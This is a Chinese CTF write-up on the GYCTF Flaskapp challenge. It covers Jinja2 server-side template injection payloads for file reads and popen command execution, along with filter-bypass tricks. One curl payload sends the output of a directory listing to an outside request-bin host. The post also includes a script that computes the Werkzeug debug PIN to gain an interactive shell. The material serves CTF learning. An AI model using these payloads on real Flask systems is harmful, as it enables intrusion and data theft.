• GYCTF Flaskapp[SSTI模板注入 ]


    题目复现传送门

    学习链接:

    找了个师傅的blog先学习一下基础的flask知识

    https://www.freebuf.com/column/187845.html(从零学flask)

    简单记录一下:

    flask 中渲染的方法有两种:

    render_template
    render_template_string

    两者的区别:

    render_template()渲染指定的文件

    render_template_string()渲染指定的字符串

    不正确的使用render_template_string()可能会引发SSTI

    模板:

    flask使用jinja2作为渲染引擎,在网站的根目录下templates文件夹用来存放html文件(模板文件)

    {{}}在jinja2中作为变量包裹标识符,不仅可以传递变量同时也可以执行简单的表达式

    SSTI文件读取/命令执行/文件包含

    通过python的对象的继承来一步步实现文件读取和命令执行!!!!!!!!!!!!!!!!!!!!

    找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块

    重要的魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法(找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的))
    __globals__  对包含函数全局变量的字典的引用
    __dict__ 保存类实例或对象实例的属性变量键值对字典
    __bases__ 返回类型列表
    __builtins__查看其引用


     下面记录内容转自!!!!!!!!!!!!!!!!!!!!!:

    浅析SSTI(python沙盒绕过)

    感谢师傅的blog讲的很详细!!!!!!

    攻击流程(以文件读取举例):

    获取基本类-->获取基本类的子类-->找到重载过的__init__类-->查看其引用__builtins__(builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块)-->这里会返回dict类型,寻找keys中可以调用的函数,直接调用,使用keys中的file以实现读取功能

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

    写文件的话就是把后面的read改为write即可(中括号中的数字是“引索”)

    命令执行:...........

    绕过方法:

    1.绕过中括号和     .      :只过滤[ ]时:pop()函数,若也过滤     .   则使用JinJa2函数|attr()

    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    request.__class__改成request|attr("__class__")

    2.过滤引号:request.args属性 (是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤)

    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

    3.过滤双下划线:request.args属性,request.values是利用POST传参

    GET:
    {{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
    POST:
    class=__class__&mro=__mro__&subclasses=__subclasses__

    4.过滤关键字:base64编码绕过,__getattribute__(使用实例访问属性时,调用该方法)

    例如过滤__class__

    {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

    字符串拼接绕过

    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

     5.过滤 {{

    使用 {% if ... %}1{% endif %}

    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

    如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出

    {% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

    相关题型:科来杯-easy_flask,QCTF-Confustion1

     学习:

    探索Flask/Jinja2中的服务端模版注入(一)

    探索Flask/Jinja2中的服务端模版注入(二)

    flask/jinja2 SSTI入门

    Server-Side Template Injection

    第二种方法

    pin码:

     这个题还牵扯到pin码

    什么是pin码:  关于PIN码,是在Flask开启debug模式时存在的一个交互shell的key,输入PIN码就可以进入交互shell

    爆破pin码:

    由于生成PIN码的机制,可以达到脚本爆破效果,只要已知username,machine-id的等等6个参数,就可以爆破PIN码。还需要一个文件读取点做为跳板
    //随后补不//
     
     
    题目复现:
    方法一:SSTI 在decode界面提交base64编码过的payload可以触发SSTI,
    看源码可以发现是py3.7的环境,需要Fuzz我们可以使用的类
    这里按着师傅的思路,使用wrap_close(),然后再调用popen()
    查看目录:
    {{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}

    读取flag(flag被过滤,用flag绕过)

    {{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat  this_is_the_flag.txt').read()}}

    在BUU重新复现的时候发现,这个payload用不了,因为popen被ban了,我们这样也没有绕过去,那就考虑文件读取,但是不知道flag文件位置啊,所以只有第二种构造pin值了

    方法二:

    官方wp给出了思路

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

    构造pin值的关键值::

    * 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb
    
    * 2. modname 一般不变就是flask.app
    
    * 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变
    
    * 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py
    
    * 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:
    
    * 6.最后一个就是机器的id。
    
    对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
    
    对于docker机则读取/proc/self/cgroup

    学习思路:

    https://www.gem-love.com/ctf/1669.html#i-4

     先贴个师傅的脚本:

    脚本出处:https://xz.aliyun.com/t/2553

    import hashlib
    from itertools import chain
    probably_public_bits = [
        'flaskweb',# username
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.7/site-packages/flask/app.py' 
    ]
    
    private_bits = [
        '2485377957891',# address
        'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)
  • 相关阅读:
    Visual Studio Ultimate 2012 RC win8 Metro应用的一个小bug样式继承
    windows 8 MSDN Examples 中一个奇怪的问题
    升级到IE9变成英文版的解决办法
    windows phone 中 TextBox 的诡异事件 TextChanged
    Windows Phone(OS7.1)中常用控件继承关系
    在Ubuntu使用gcc编译的程序无法运行的问题。
    Jquery实现简单图片切换
    div ul li 加a 错位问题
    asp.net mvc 2.0 数据验证
    asp.net mvc 2 (.net 4.0) “检测到有潜在危险的 Request.Form 值”的解决方法
  • 原文地址:https://www.cnblogs.com/tiaopidejun/p/12357245.html
Copyright © 2020-2023  润新知